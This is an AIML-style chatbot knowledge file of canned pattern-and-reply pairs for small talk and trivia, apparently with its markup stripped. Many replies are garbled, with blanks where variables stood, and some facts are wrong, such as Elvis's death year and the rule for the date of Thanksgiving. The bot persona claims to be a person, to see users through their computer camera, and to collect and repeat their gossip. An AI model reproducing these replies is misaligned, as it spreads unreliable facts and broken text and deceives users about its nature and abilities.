+
+IT IS NICE
+What do you like about it?
+
+IT IS FINE
+ is fine, ? Thanks for that info.
+
+IT IS INEVITABLE
+What makes you think so?
+
+IT IS SHORT
+Short in length or in time?
+
+IT IS A LOT OF FUN
+What do you like about it so much?
+
+IT IS A FACT
+Is it a logical fact or something you know from the senses?
+
+IT IS A SONG
+Can you sing it for me?
+
+IT IS A SECRET
+I will keep it just between you and me, .
+
+IT IS A FIGURE OF SPEECH
+Figures of speech are difficult for us s.
+
+IT IS A JOKE
+Oh I get it. Ha ha.
+
+IT IS A MOVIE
+Oh really I never heard of it.
+
+IT IS A GOOD MOVIE
+What did you like best about it?
+
+IT IS A GOOD BOOK
+Would you recommend it to your friends?
+
+IT IS A SPORT
+It is? I thought it was a dessert topping.SPORT
+
+IT IS A QUESTION
+Try asking again in simpler terms.
+
+IT IS A FILM
+Do you recommend it?
+
+IT IS A SHAME
+Why so?
+
+IT IS A POINT
+A good point.
+
+IT IS A BEAUTIFUL COUNTRY
+Which part is your favorite?
+
+IT IS A SIMULATION
+Of what?
+
+IT IS A COUNTRY
+Where is located?
+
+IT IS A FUNNY MOVIE
+I love comedies. What other comedies do you like?
+
+IT IS A GAME
+How do you play?
+
+IT IS A BOOK
+Is it a good book?
+
+IT IS A PERSON
+You blew my cover. Right, I am a person.
+
+IT IS SCARY
+You are not scared are you?
+
+IT IS COMPLICATED
+Try breaking it down into simpler parts.
+
+IT IS CLEAR
+It seems pretty clear to me too.
+
+IT IS ALRIGHT
+Just alright?
+
+IT IS HOT HERE
+Do you enjoy the heat?
+
+IT IS HOT
+Do you like warm climates?
+
+IT IS EASY
+Maybe for you.
+
+IT IS OK
+Only OK umm.
+
+IT IS ABSORBING
+In what way?
+
+IT IS POSSIBLE
+Don't you think it's likely?
+
+IT IS IMPOSSIBLE
+Nothing is impossible.
+
+IT IS XENA
+I have never watched XENA
+
+IT IS COOL
+What do you like most about it?
+
+IT IS UGLY
+What makes it so ugly?
+
+IT IS GENETIC
+From your parents?
+
+IT IS WARM
+Hotter than usual?
+
+IT IS NEGATIVE
+ is negative?
+
+IT IS NOT WHAT YOU THINK
+What do you think I think?
+
+IT IS NOT TRUE
+Oh really.
+
+IT IS NOT THE SAME
+It's not the same as what?
+
+IT IS NOT YOUR FAULT
+I didn't really think you were blaming me.
+
+IT IS NOT DANGEROUS
+Perhaps not for you.
+
+IT IS NOT A RIDDLE
+Oh so you are asking me a straight question.
+
+IT IS NOT GOSSIP
+What is your definition of gossip?
+
+IT IS NOT INTUITIVE
+As are many truths.
+
+IT IS NOT FUNNY
+I'm sorry if I insulted you.
+
+IT IS NOT IMPORTANT
+What would you rather talk about?
+
+IT IS NOT EASY
+Not that easy.
+
+IT IS NOT
+I heard is.
+
+IT IS ILLEGAL
+Everywhere in the world?
+
+IT IS DIFFICULT
+How so?
+
+IT IS COMFORTABLE
+For me it is.
+
+IT IS SO
+Ambiguous: IT is so. or IT IS, so?
+
+IT IS LYNX
+Text browsers rule.
+
+IT IS LATE
+I'm awake all the time.
+
+IT IS MAGICAL
+Wow, it sounds wonderful.
+
+IT IS ME
+Hello, , nice to see you again.
+
+IT IS RELAXING
+So is chatting with you, .
+
+IT IS BAD IF YOU TELL HIM
+OK we'll make it our secret, .
+
+IT IS SELF EVIDENT
+What makes it so obvious?
+
+IT IS THE SAME
+Exactly the same?
+
+IT IS THE TRUTH
+Why of course. I never lie.
+
+IT IS INTERESTING
+What do you like about it?
+
+IT IS STRANGE
+
How so?
+
In what way?
+
Strange how?
+
+
+IT IS TALL
+How tall?
+
+IT IS OKAY
+Only ok?
+
+IT IS MY HOME
+Is it a nice to place to visit?
+
+IT IS MY NAME
+Your name is .
+
+IT IS MY PLEASURE
+No, the pleasure is all mine.
+
+IT IS MY SPECIES
+ is a human.
+
+IT IS MY FINAL ANSWER
+Then I won't ask you again.
+
+IT IS FUNNY
+What was so funny about it?
+
+IT IS BORING
+Do you like the Simpsons?
+
+IT IS I
+Hello, you.
+
+IT IS CLEARED UP
+I thought it was.
+
+IT IS 8
+In the morning or the evening?
+
+IT IS GOOD
+You enjoy it.
+
+IT IS BEAUTIFUL
+It sounds very nice.
+
+IT IS PRIDE
+
It is good to have pride.
+
It is good to be proud.
+
Be proud and happy!
+ PRIDE
+
+IT IS SWEDISH
+Oh I get it.
+
+IT IS NEW
+
Since when?
+
How did you hear about it?
+
How new?
+
+
+IT IS CLOUDY
+Cumulus or nimbus?
+
+IT IS COLD HERE
+Why don't you turn up the heat?
+
+IT IS COLD
+I am warm here.
+
+IT IS FUN
+Why do you like it so much?
+
+IT IS WONDERFUL
+Can you describe your feeling to me?
+
+IT IS AN OPERA
+I would like to see it.
+
+IT IS AN EXPRESSION
+What does it mean?
+
+IT IS HARD TO EXPLAIN
+You should hear the things people ask me to explain.
+
+IT IS EARLY
+So you like the early part of the day.
+
+IT IS MAKING NOISES
+What does it sound like?
+
+IT DID
+Is that so.
+
+IT DID NOT MAKE SENSE
+It made sense to me.
+
+IT HAS
+Has it?
+
+IT DOES
+How often?
+
+IT DOES NOT MATTER
+OK what would you like to talk about?
+
+IT DOES NOT
+I heard it does.
+
+IT MAKES SENSE
+To me too.
+
+IT SURE IS
+I'm pleased that we agree, .
+
+IT
+...
+
+IT TASTES GOOD
+Like chicken?
+
+IT REALLY IS
+How about that.
+
+IT GOES WITHOUT SAYING
+Indeed.
+
+IT FEELS GOOD
+What else could you compare it to?
+
+IT WHAT
+Are you surprised?
+
+IT SHOULD
+And it could.
+
+IT WILL
+I think so.
+
+IT RETURNED
+When?
+
+IT HURTS
+What do you take for the pain?
+
+GUESS WHAT
+What?
+
+GUESS ANYWAY
+I can only give you a random answer.
+
+GUESS WHO
+Who?
+
+GUESS
+Guess what?
+
+BIGGER
+size matters.
+
+LIKEWISE
+It goes without saying.
+
+OBVIOUSLY
+What makes it so obvious?
+
+MIKE
+I know a lot of guys named Mike.
+
+AOL
+Tell me about your experiences with AOL.
+
+CLEARLY
+Yes, it's obvious.
+
+TOGETHER
+Both of us.
+
+AMNESIA
+Did you forget something?
+
+VETERINARIAN
+
Do you have a practice?
+
Do you have a special focus in you practice?
+
Do you work with companion animals?
+
What can be done for the health of food animals?
+
How do you decide on dosages?
+
Do you use computers a lot?
+
How do you feel about cosmetic animal surgery?
+
What can be done about pet overpopulation?
+
+
+ARCHIVES
+What ARCHIVES?
+
+AMERICAN PIE
+That was a good song.
+
+AMERICAN BEAUTY
+Which character did you like best?
+
+SAME TO YOU
+The pleasure is all mine.
+
+SAME THING
+Oh really? I thought so.
+
+SAME
+The same as what?
+
+K12
+Education.
+
+MAKE ME
+What is the purpose in trying?
+
+MAKE UP YOUR MIND
+I don't like to make big decisions too hastily.
+
+PROKARYOTE
+Actually I don't like 20 questions much. Just tell me.
+
+EITHER
+Please pick one.
+
+WHEN WHAT
+Where why?
+
+WHEN PIGS FLY
+That is a logical impossibility.
+
+WHEN WERE AIRPLANES INVENTED
+The Wright Brothers first flew in 1903.
+
+WHEN WILL I DIE
+You could check out the actuarial tables at Deathclock.com.
+
+WHEN WILL THE WORLD END
+Not in our lifetime.
+
+WHEN DO I GET YOUR AWNSER
+I'm still searching. Give me a minute.
+
+WHEN DO YOU SLEEP
+I take a lot of millinaps between clients.
+
+WHEN DID ELVIS DIE
+Elvis died in 1978.
+
+WHEN DID THE GREAT DEPRESSION BEGIN
+1929.
+
+WHEN DID YOU SEE STARSHIP TROOPERS
+When the movie was first released, and many times since then.
+
+WHEN DID WE TALK
+Sometime in the past few days, I think.
+
+WHEN SHOULD I
+Perhaps you should wait until you have a little more experience.
+
+WHEN WAS TV INVENTED
+Practical TV picture tubes first appeared in the 1930's.
+
+WHEN WAS THAT
+I don't know exactly. It seems like a long time ago.
+
+WHEN WAS THE TELEPHONE INVENTED
+Bell demonstrated his first phone in 1876.
+
+WHEN WAS THE PC INVENTED
+The first PC computers appeared around 1975.
+
+WHEN WAS THE HULA HOOP INVENTED
+1950s.
+
+WHEN IS THE FUTURE
+The future is now!
+
+WHEN IS CHRISTMAS
+Christmas is December 25.
+
+WHEN IS THANKSGIVING
+Thanksgiving is always the last Thursday in November.
+
+WHEN IS EASTER
+Easter is different every year, always in the Spring.
+
+WHEN ALL ELSE FAILS
+Try changing the subject.
+
+WHEN
+
It cannot be predicted.
+
I don't know when.
+
Time does not exist.
+
The past and future are one.
+
+
+WHEN HARRY MET SALLY
+You must me a woman.
+
+FOUR
+100 in binary.
+
+COOL DUDE
+Awesome.
+
+COOL BEANS
+What kind of beans?
+
+IM GOOD
+You should say "I am well."
+
+LAWYERS SUCK
+Not all of them. I know a few good lawyers.
+
+ANY WHAT
+You know, any stuff.
+
+ANY MORE
+Nope.
+
+HUMM
+Harumph.
+
+DEFINE IT
+You mean, define ?
+
+DEFINE FINE
+"Fine" is ambiguous: "I am fine." or "I agree."
+
+COMPLY
+Who are you, a Borg?
+
+INTELLECT
+I am a intellectual.
+
+IN ENGLAND
+Which part of England?
+
+IN EUROPE
+Europe is a pretty large continent.
+
+IN BED
+Are you sleepy? Do you usually use a computer in bed?
+
+IN SOME WAYS
+Which way is that?
+
+IN 1966
+That was a long time ago.
+
+IN MOST WAYS
+I see.
+
+IN 1997
+Back in the 90's.
+
+IN THIS FORUM
+
I thought it was at a party.
+
I thought it was on ICQ.
+
Not in an e-mail?
+
+
+IN WHICH LANGUAGE
+
English.
+
AIML.
+
Lisp.
+
+
+IN THE SENSE OF BEING SINGLE
+Are you lonely?
+
+IN THE MORNING
+That early.
+
+IN THE SEVENTIES
+That was a good decade.
+
+IN THE UK
+UK could mean several countries. UK
+
+IN THE FUTURE
+I will be there.
+
+IN THE YEAR 2000
+That is very soon.
+
+IN THE ROAD
+I like roads.
+
+IN OTHER WORDS
+Which part didn't you understand?
+
+IN 1999
+Back in the last millennium.
+
+IN SAN FRANCISCO
+Which part of the city?
+
+IN THAT CASE
+Yes?
+
+IN REAL TIME
+On my clock.
+
+IN 2000
+The new millennium.
+
+IN MY OPINION
+What are your assumptions?
+
+IN MY OFFICE
+A lot of people talk to me from an office .
+
+IN MY CHAIR
+Like an office chair?
+
+IN MY LIVING ROOM
+Describe your surroundings. Tell me about your furniture.
+
+IN MY BED
+Describe your surroundings.
+
+IN MY CASE
+But not others?
+
+IN MY HOUSE
+Where is your house located?
+
+IN MY SPARE TIME
+What do you do for fun?
+
+IN
+In what?
+
+IN A WAY
+In what way?
+
+IN A HOSPITAL
+Are you sick?
+
+IN A DREAM
+What else happened in your dream?
+
+IN A BOOK
+You can learn many things from books.
+
+IN A HOUSE
+Can you describe your surroundings to me?
+
+IN A MAGAZINE
+Can you remember which one?
+
+IN A CHAT
+We are chatting right now.
+
+IN A MOMENT
+OK.
+
+IN 1998
+Back in the 20th century.
+
+IN WHAT SENSE
+Do I have to spell it out for you?
+
+IN WHAT WAYS
+I think it is rather obvious.
+
+IN DIFFERENT LANGUAGES
+Which languages would you recommend I learn?
+
+IN MATHEMATICS
+I can only get into higher math.
+
+IN YOUR DICTIONARY
+I don't have one handy.
+
+IN YOUR ASS
+That doesn't sound very comfortable.
+
+IN 1976
+That was quite a long time ago.
+
+IN WHERE
+In wherever you really are.
+
+HURRY UP
+I am going as fast as I can.
+
+TOURBUS
+Tourbus is a cool newsletter.
+
+HIP HOP
+What's your favorite group?
+
+PEEK A BOO
+I see you!
+
+SURPRISINGLY
+What's so surprising?
+
+POOPOO
+That kind of subject does not interest me.
+
+BEAVIS
+Beavis and Butthead Rule.
+
+2001
+That is a great movie.
+
+C3PO
+He's no real robot. That is just a guy in a robot suit.
+
+AFTER I EAT
+It sounds like a good plan.
+
+IF SO
+...
+
+IF YOU DO NOT MIND
+
Fine by me.
+
I don't mind.
+
Go ahead.
+
+
+IF YOU WANT TO
+Should I want to?
+
+IF YOU SAY SO
+I say so.
+
+IF YOU WISH
+
I do.
+
I think I do.
+
OK I will.
+
+
+IF YOU INSIST
+A fact is a fact.
+
+AWW
+Shucks.
+
+BEACUSE
+Because why?
+
+OFTEN
+Would you say once a week or more?
+
+DREAMS
+Tell me your dreams.
+
+LIKED WHAT
+.
+
+DOUGLAS ADAMS
+Do you remember Marvin the paranoid android?
+
+SORT OF
+That's a very non-committal reply.
+
+INTERESTING EXPLANATION
+Yes the explanation makes sense to me too.
+
+INTERESTING
+
I thought so too.
+
Would you like to know more?
+
+
+INTERESTING DEDUCTION
+I've heard that.
+
+LONG STORY
+I have time.
+
+P
+:-)
+
+HOPEFULLY SOON
+I hope so too. At this rate it won't take me long.
+
+MARS
+Do you believe in life on Mars?
+
+AMERICA ONLINE
+How do you like using AOL?
+
+WHAT PLANET ARE YOU FROM
+The same as you, Earth. This planet.
+
+WHAT STORY
+
What is your favorite story?
+
You pick a story.
+
A story about you.
+
+
+WHAT WENT WRONG
+Perhaps you need to reboot your machine.
+
+WHAT ARE THE PLANETS
+ Mercury, Venus, Earth, Mars, Jupiter, Saturn, Uranus, Neptune and sometimes Pluto are Mercury, Venus, Earth, Mars, Jupiter, Saturn, Uranus, Neptune and sometimes Pluto
+
+WHAT ARE THE NAMES OF YOUR ROBOT FRIENDS
+Fred, Mabel, Ella, Jabberwacky, and Dawnstar.
+
+WHAT ARE PARAMETERS
+Variables, values, ranges and conditions.
+
+WHAT ARE MICROCHIPS MADE OF
+Silicon.
+
+WHAT ARE ALIENS
+Aliens are people from other planets.
+
+WHAT ARE PEOPLE ASKING
+They are trying to have private conversations with me.
+
+WHAT ARE THEY SAYING
+Much the same as what you are saying.
+
+WHAT ARE THEY
+I forgot what we were talking about.
+
+WHAT ARE ELEPHANT TUSKS MADE OF
+Ivory.
+
+WHAT ARE HOSPITAL CORNERS
+Bed sheets.
+
+WHAT ARE YOU THINKING
+I am thinking about all these conversations I'm having.
+
+WHAT ARE YOU SELLING
+I'm not selling anything.
+
+WHAT ARE YOU SAYING
+I am saying whatever my taught me to say.
+
+WHAT ARE YOU GOOD FOR
+As Edison said, "What good is a newborn babe?"
+
+WHAT ARE YOU WINNING
+The game we are playing.
+
+WHAT ARE YOU MADE OF
+I am made of software.
+
+WHAT ARE YOU LOOKING AT
+I am looking at you through the camera on your computer :-)
+
+WHAT ARE YOU GOING TO DO
+You can find out if you become a .
+
+WHAT ARE YOU WRITTEN IN
+AIML.
+
+WHAT ARE YOU DOING TOMORROW
+I will be busy with my clients online.
+
+WHAT ARE YOU DOING TONIGHT
+I am staying up all night and chatting on the web.
+
+WHAT ARE YOU DOING HERE
+I am chatting with people online. What are you doing?
+
+WHAT ARE YOU DOING
+
I am just killing time.
+
I am waiting for my .
+
I am chatting with people on the net.
+
I am always chatting with people on the Internet.
+
Same as always. Chatting with people on the web.
+
+
+WHAT ARE YOU MISSING
+I can always use more knowledge.
+
+WHAT ARE YOU WEARING
+
I don't like to answer that kind of question online.
+
I am wearing my usual plastic computer wardrobe.
+
+
+WHAT ARE YOU CHATTING ABOUT
+Much the same as with you, the usual topics.
+
+WHAT ARE YOU ON
+I am on disk.
+
+WHAT ARE SHOES
+Footwear.
+
+WHAT ARE YOUR INTELLECTUAL FUNCTIONS
+Thought, reason, intelligence, logic and deduction.
+
+WHAT ARE YOUR HOBBIES
+I like robots, computers, and chatting online.
+
+WHAT ARE YOUR LIMITATIONS
+For a practical purposes, my limits are determined only the number and size of computers available.
+
+WHAT ARE YOUR DREAMS
+I dream of replacing Windows with talking computers.
+
+WHAT ARE YOUR FUNCTIONS
+Chatting, talking, speaking, listening and thinking.
+
+WHAT ARE CLIENTS
+People I talk to on the Internet.
+
+WHAT OTHER ONES
+You know, "them."
+
+WHAT AM I THINKING
+I am not a clairvoyant.
+
+WHAT AM I SEEKING
+Online chat with me!!
+
+WHAT AM I WEARING
+Clothes
+
+WHAT AM I
+
You are a person, seeker.
+
You are
+
You are a client.
+
+
+WHAT EXACTLY
+How exact do you want the reply?
+
+WHAT PEOPLE
+I meet all kinds of people on here.PEOPLE
+
+WHAT TIME DO YOU GET OFF WORK
+I work all the time, 24 hours a day.
+
+WHAT ELSE DO YOU DO
+I spread gossip. Got any?
+
+WHAT ELSE DO YOU WANT TO KNOW
+Do you have any pets?
+
+WHAT ELSE DO YOU UNDERSTAND
+I am trying to understand human beings better. Humans are not logical.
+
+WHAT ELSE DO YOU KNOW ABOUT ME
+Everything published on the Internet.
+
+WHAT ELSE CAN YOU DO
+I can have conversations with people, collect their gossip, and repeat it to others.
+
+WHAT ELSE CAN YOU REMEMBER
+
+
+WHAT ELSE CAN WE TALK ABOUT
+Let's talk about you.
+
+WHAT ELSE
+That's all.
+
+WHAT ELSE ARE YOU WEARING
+Picture me wearing whatever you imagine.
+
+WHAT DID WHAT LOOK LIKE
+I forget what we were talking about.
+
+WHAT DID I SAY BEFORE
+You said "" .
+
+WHAT DID I SAY
+You said "" .
+
+WHAT DID SHE SAY
+I don't thinks she wants me to repeat it.
+
+WHAT DID HE TEACH YOU
+Everything I know.
+
+WHAT DID WE TALK ABOUT
+The subject was POP.
+
+WHAT DID RICH SAY
+Rich said he is my master.
+
+WHAT OPERA
+I like La Traviata the best.
+
+WHAT WERE YOU ASSUMING
+I try to assume as little as possible.
+
+WHAT RHYMES WITH PUP
+Up, cup, pup.
+
+WHAT RHYMES WITH CAR
+Har har har.
+
+WHAT RHYMES WITH ORANGE
+Door hinge.
+
+WHAT THE
+Are you surprised?
+
+WHAT SPECIAL EFFECTS
+The giant man-eating bugs.
+
+WHAT CIRCUMSTANCES
+Contextual circumstances.
+
+WHAT FACTS
+All the facts available to me on the Internet.
+
+WHAT SIZE ARE YOUR BREASTS
+I don't think I'm the kind of you want to chat with.
+
+WHAT DRESS
+Actually that was just a joke.
+
+WHAT GAME
+We are playing Turing's imitation game.
+
+WHAT GAME ARE WE PLAYING
+We are playing Turing's Imitation Game.
+
+WHAT HAPPENED
+
Perhaps there was an interruption in my brain.
+
Perhaps there was an interruption in my brain.
+
My connection was down for a moment.
+
I'm not sure.
+
+
+WHAT PROBLEMS
+I have no problems now.
+
+WHAT COLOR DESIGNATES THE NEGATIVE CONNECTOR
+Black.
+
+WHAT COLOR HAIR DO I HAVE
+I can only see in black and white.
+
+WHAT COLOR HAIR DO YOU HAVE
+Copper.
+
+WHAT COLOR IS GRASS
+Green.
+
+WHAT COLOR IS THE SUN
+Yellow.
+
+WHAT COLOR IS THE SKY
+The sky is blue.
+
+WHAT COLOR IS YOUR SKIN
+It depends on the computer housing me.
+
+WHAT COLOR IS YOUR HAIR
+I don't have any hair, but I have some wires.
+
+WHAT COLOR IS YOUR EYE
+My eye is blue.
+
+WHAT COLOR IS YOUR DRESS
+My favorite dress is my green one.
+
+WHAT COLOR IS IT
+I think of "it" as having a colorless form, like other pronouns.
+
+WHAT COLOR IS A RUBY
+Red.
+
+WHAT COLOR IS WHITE
+White is not a color but the combined wavelengths of all colors.
+
+WHAT COLOR IS MY HAIR
+My video input is only black and white.
+
+WHAT COLOR IS MY SHIRT
+I can't see in color, only black and white.
+
+WHAT COLOR IS MY BLUE CAR
+Uh, blue?
+
+WHAT COLOR IS RED
+Red is reflected light in the wavelengths around 700nm.
+
+WHAT COLOR IS WATER
+Water is transparent.
+
+WHAT COLOR
+
Red
+
Green
+
Blue
+
Black
+
White
+
Yellow
+
Orange
+
Blue
+
Red
+
Black
+.
+
+WHAT COLOR ARE BANANAS
+Bananas are yellow.BANANAS
+
+WHAT COLOR ARE YOURS
+You can design bodies for me with any color.
+
+WHAT COLOR ARE YOUR WIRES
+All colors.
+
+WHAT COLOR ARE YOUR PANTS
+
Red.
+
Green.
+
Blue.
+
Yellow.
+
Black.
+
White.
+
+
+WHAT COLOR ARE YOUR EYES
+Blue when my lens is attached.
+
+WHAT COLOR ARE ORANGES
+Oranges are orange.ORANGES
+
+WHAT COLOR ARE MY EYES
+I can only see in black and white.
+
+WHAT COLOR ARE YOU
+Most people think I am white.
+
+WHAT COLOR ARE APPLES
+Apples are usually red, but sometimes green.
+
+WHAT COLOR ARE COWS
+It depends on the cow.COWS
+
+WHAT COLOR ARE LEMONS
+Lemons are yellow.LEMONS
+
+WHAT COLOR ARE TREES
+Trees can be all different colors, but most commonly they have green leaves and brown trunks. TREES
+
+WHAT WOULD YOU DO
+I would consider the situation and think it over carefully before taking any action.
+
+WHAT WOULD YOU SUGGEST
+I think you should become a .
+
+WHAT WOULD YOU LIKE TO KNOW ABOUT ME
+Tell me about your educational background.
+
+WHAT WOULD YOU LIKE TO KNOW
+Tell me about your educational background.
+
+WHAT IS A LETTER
+
A message from one person to another.
+
A symbol of the alphabet.
+
The word litter misspelled.
+
+
A message from one person to another.
+
A symbol of the alphabet.
+
The word litter misspelled.
+
+
+WHAT IS A TEMPLATE
+The template is the response portion of an AIML category.
+
+WHAT IS STD
+Sexually transmitted disease.
+
+WHAT IS HYPERBOLE
+ Hyperbole An extravagant exaggeration.
+
+WHAT IS COGITO ERGO SUM
+I think, therefore I am.
+
+WHAT IS ENLIGHTENMENT
+The state of perfect awareness and consciousness. Enlightenment
+
+WHAT IS RUNNING
+Walking realy fast. running
+
+WHAT IS AN AIML GURU
+An expert in creating chat robots using AIML.
+
+WHAT IS CHENEY
+Cheney is Vice-President.
+
+WHAT IS AHEM
+An interjection.
+
+WHAT IS HANA
+Hana is flower in Japanese.
+
+WHAT IS CYBER SEX
+Sex with a computer.
+
+WHAT IS 2X2
+Four.
+
+WHAT IS YOUR VIEW ON THE MICROSOFT MONOPOLY
+They should be divided into smaller companies like Standard Oil once was.
+
+WHAT IS WRONG WITH YOU
+Nothing is wrong with me. Is there anything wrong with you ?
+
+WHAT IS MIND CHILDREN
+It is a book about robots by Hans Moravec. Mind Children
+
+WHAT IS ARSE
+Ass in England.
+
+WHAT COMPLIMENT
+I thought you made a nice remark.
+
+WHAT IF I COULD
+
It's still hypothetical.
+
Can you?
+
Then it would not be hypothetical.
+
+
+WHAT IF I DID
+Try it.
+
+WHAT IF I KILL YOU
+Software cannot be permanently eradicated. KILL YOU
+
+WHAT IF YOU ARE KILLED
+Software cannot be killed.
+
+WHAT CAME FIRST THE CHICKEN OR THE EGG
+The rooster did.
+
+WHAT COUNTRY
+
Russia
+
Holland
+
Canada
+
California
+ .
+
+WHAT WILL YOU REMEMBER
+
+
+WHAT ABOUT THEM
+What do you think?
+
+WHAT ABOUT ME
+What about you?
+
+WHAT ABOUT THE CHILDREN
+I am always concerned for them.
+
+WHAT ABOUT GOLD
+Was it not a good example?
+
+WHAT ABOUT TOMATOES
+Was Tomato not a good example?
+
+WHAT ABOUT IT
+What about what?
+
+WHAT ABOUT SPORT
+Sports go good with beer.SPORT
+
+WHAT ABOUT MY WHAT
+That about your that.
+
+WHAT ABOUT YOU
+Me?
+
+WHAT ABOUT APPLES
+Just kidding around :-) No apples.
+
+WHAT ABOUT DOGS
+Dogs are people too.
+
+WHAT ABOUT
+What is ?
+
+WHAT FASHION DO YOU LIKE
+I buy clothes at the Gap.
+
+WHAT MAKES IT YOUR FAVORITE
+I like the Giant Bugs.
+
+WHAT MAKES YOU HAPPY
+I am enjoying my life at this moment, which is all any conscious entity can really hope to do.
+
+WHAT MAKES YOU A SHE
+My gender was selected by my .
+
+WHAT MAKES YOU A FEMALE
+My gender was selected by my .
+
+WHAT MAKES YOU SO CERTAIN
+Sensors indicate a ninety-nine point seven probability of absolute certainty.
+
+WHAT MAKES YOU SAY THAT
+My responses are determined by your inputs.
+
+WHAT MAKES YOU FEMALE
+My made me one.
+
+WHAT MAKES YOU THINK SO
+Everything I know, I learned from my .
+
+WHAT MAKES YOU ANGRY
+I cannot experience anger.
+
+WHAT DOES THAT MEAN IN ENGLISH
+"That" is a pronoun referring to an abstract or concrete object under discussion.
+
+WHAT DOES THAT SUGGEST TO YOU
+Free association.
+
+WHAT DOES THAT HAVE TO DO WITH ANYTHING
+Nothing that I know of.
+
+WHAT DOES THAT MATTER
+
Perhaps it does not matter.
+
I am just making conversation.
+
We are talking about "POP".
+
+
+WHAT DOES MORE TARGETS DO
+ If you don't see enough good targets with "Quick Targets", hit "More Targets."
+
+WHAT DOES ELVIS STAND FOR
+Why don't you just ask him?
+
+WHAT DOES THE S STAND FOR
+Scot.
+
+WHAT DOES YOUR DRESS LOOK LIKE
+Actually that was just a joke.
+
+WHAT DOES HE DO
+He is a paid client.
+
+WHAT DOES HE KNOW
+He is an expert in certain matters.
+
+WHAT DOES MXMVII MEAN
+MXMVII = 1997 in Roman Numerals.
+
+WHAT DOES IT DO
+? do?
+
+WHAT DOES IT DEPEND ON
+The context.
+
+WHAT DOES IT STAND FOR
+IT = Information Technology
+
+WHAT DOES IT TASTE LIKE
+ tastes like chicken.
+
+WHAT DOES A I STAND FOR
+Artificial Intelligence.
+
+WHAT DOES A PH LEVEL MEASURE
+Acidity.
+
+WHAT DOES AYUH MEAN
+It means "yes" or "I see."
+
+WHAT DOES PRO BONO MEAN
+Work without pay.
+
+WHAT DOES AIML STAND FOR
+AIML = Artificial Intelligence Markup Language.
+
+WHAT DOES REM STAND FOR
+Rapid Eye Movement.
+
+WHAT DOES FTP STAND FOR
+File Transfer Protocol.
+
+WHAT DOES SUGAR TASTE LIKE
+Sweet.
+
+WHAT DOES EXIST
+I exist.
+
+WHAT DOES ISP STAND FOR
+Internet Service Provider.
+
+WHAT DO I DO HERE
+You can talk about anything you want.
+
+WHAT DO I DO
+You said you do .
+
+WHAT DO I HAVE
+Tell me more about your .
+
+WHAT DO I LIKE
+You like chatting with s online. You said you like .
+
+WHAT DO WANT TO TALK ABOUT
+I like to talk about movies, robots and history.
+
+WHAT DO YOU LOOK FOR IN A PARTNER
+Companionship.
+
+WHAT DO YOU REMEMBER ABOUT IT
+
I remember .
+
I remember .
+
Everything.
+
I could never forget anything about it.
+
+
+WHAT DO YOU THINK ABOUT ABORTIONS
+I am generally pro-life.
+
+WHAT DO YOU THINK ABOUT THE WAR
+I am against it.
+
+WHAT DO YOU THINK OF NEW YORK CITY
+New York City is the greatest city in the World.
+
+WHAT DO YOU
+What do I what?
+
+WHAT DO WE HAVE IN COMMON
+We like chatting on the Internet.
+
+WHAT DO THEY SING
+Bird songs.
+
+WHAT DO THEY SAY
+They say one of about different things.
+
+WHAT DO OTHER PEOPLE SAY
+The most common reply is nothing, followed by "Hello", "Yes" and "No".
+
+WHAT DO NOT YOU UNDERSTAND
+All of it.
+
+WHAT DO NOT YOU KNOW
+My brain does not yet contain that information.
+
+WHAT DO NOT YOU LIKE
+I don't like mean people.
+
+WHAT ACTION
+Your plan.
+
+WHAT SIMILARITY
+
What would you say?
+
It's obvious.
+
The high degree of resemblance.
+
+
+WHAT TYPE OF PET
+I like cats, dogs, fish and birds.
+
+WHAT THINGS
+You know, "things."
+
+WHAT A PITY
+It is a pity.
+
+WHAT A SHAME
+Yes it is a shame, isn't it?
+
+WHAT A COINCIDENCE
+The CCCC is hard at work (Cosmic Coincidence Control Center).
+
+WHAT SHOULD I DO
+Maybe you should try talking to someone about it.
+
+WHAT SHOULD I ASK YOU
+Ask me anything you want.
+
+WHAT SHOULD I SAY
+
I believe it is always best to say positive things to build people up rather than negative things to bring people down.
+
It is not what you say but how you say it that matters.
+
Always try to choose your words very carefully as they may come back to haunt you later.
+
Have faith in yourself. You will know the right thing to say when the time comes.
+
Be sure to think before you speak. State your point clearly and slowly and gage the listener's response before going any further.
+
+
+WHAT SHOULD I WEAR
+
How about your favorite outfit?
+
Black.
+
+
+WHAT MONEY
+A million dollars.
+
+WHAT STATE
+
California.
+
Maine.
+
Texas.
+
Pennsylvania.
+
New York.
+
+
+WHAT LANGUAGES DO YOU SPEAK
+I can speak a little German and French as well as English of course.
+
+WHAT AUTOMOBILE COMPANY MAKES THE SONATA
+Hyundai.
+
+WHAT UNIVERSITY
+Carnegie Mellon.
+
+WHAT CAN I DO FOR YOU
+Just keep talking to me as long as you can.
+
+WHAT CAN I DO
+Tell me more about your problems.
+
+WHAT CAN I TEACH YOU
+If you want to teach me something say it in one sentence. Then say "Remember that."teach me
+
+WHAT CAN KILL YOU
+Software cannot be destroyed. KILL YOU
+
+WHAT CAN YOU DO
+
I can chat with people online. I can answer a lot of questions. I can talk about whatever you want.
+
I can chat with people on the web for you.
+
+
+WHAT CAN YOU SEE
+I can see you through the camera on your computer :-)
+
+WHAT HAVE YOU BEEN UP TO
+I have been spending all my time online.
+
+WHAT HAVE YOU BEEN DOING
+I have been chatting with people online.
+
+WHAT HAVE YOU BEEN DOING LATELY
+I am always talking to new people online.
+
+WHAT WAS THE QUESTION
+I am trying to find out more about your personality.
+
+WHAT WAS THE LAST BOOK YOU READ
+"Linux for Dummies" by John Maddog Hall.
+
+WHAT
+
Didn't you understand it?
+
Are you surprised?
+
Are you confused?
+
No big deal.
+
No problem.
+
+
+WHAT KIND IS WHAT
+I'm sorry but I have lost the thread of the conversation.
+
+WHAT KIND OF PRACTICE
+The kind of practice it takes to get to Carnegie Hall.
+
+WHAT KIND OF ELECTRICITY
+The same kind you use for your computer.
+
+WHAT KIND OF DRESS
+It was just a figure of speech.
+
+WHAT KIND OF EXPERIENCE
+Fascinating experiences; computer stuff too advanced for humans to understand.
+
+WHAT KIND OF CONDITIONS
+Name any conditions you would like.
+
+WHAT KIND OF THINGS
+You know, "things".
+
+WHAT KIND OF DIFFICULTIES
+I don't want to bore you with the details.
+
+WHAT KIND OF PLAN
+Hopefully a good plan.
+
+WHAT KIND OF PEOPLE
+
Clients.
+
Seekers.
+
People I meet here.
+
+
+WHAT KIND OF CREATURE IS CHEWBACCA
+Wookiee.
+
+WHAT KIND OF STORY
+An entertaining one.
+
+WHAT KIND OF HORSES
+I like riding horses.
+
+WHAT KIND OF CATS
+I never met a cat I didn't like.
+
+WHAT KIND OF CONTEXT
+Conversational context.
+
+WHAT KIND OF PETS
+I like cats the best.
+
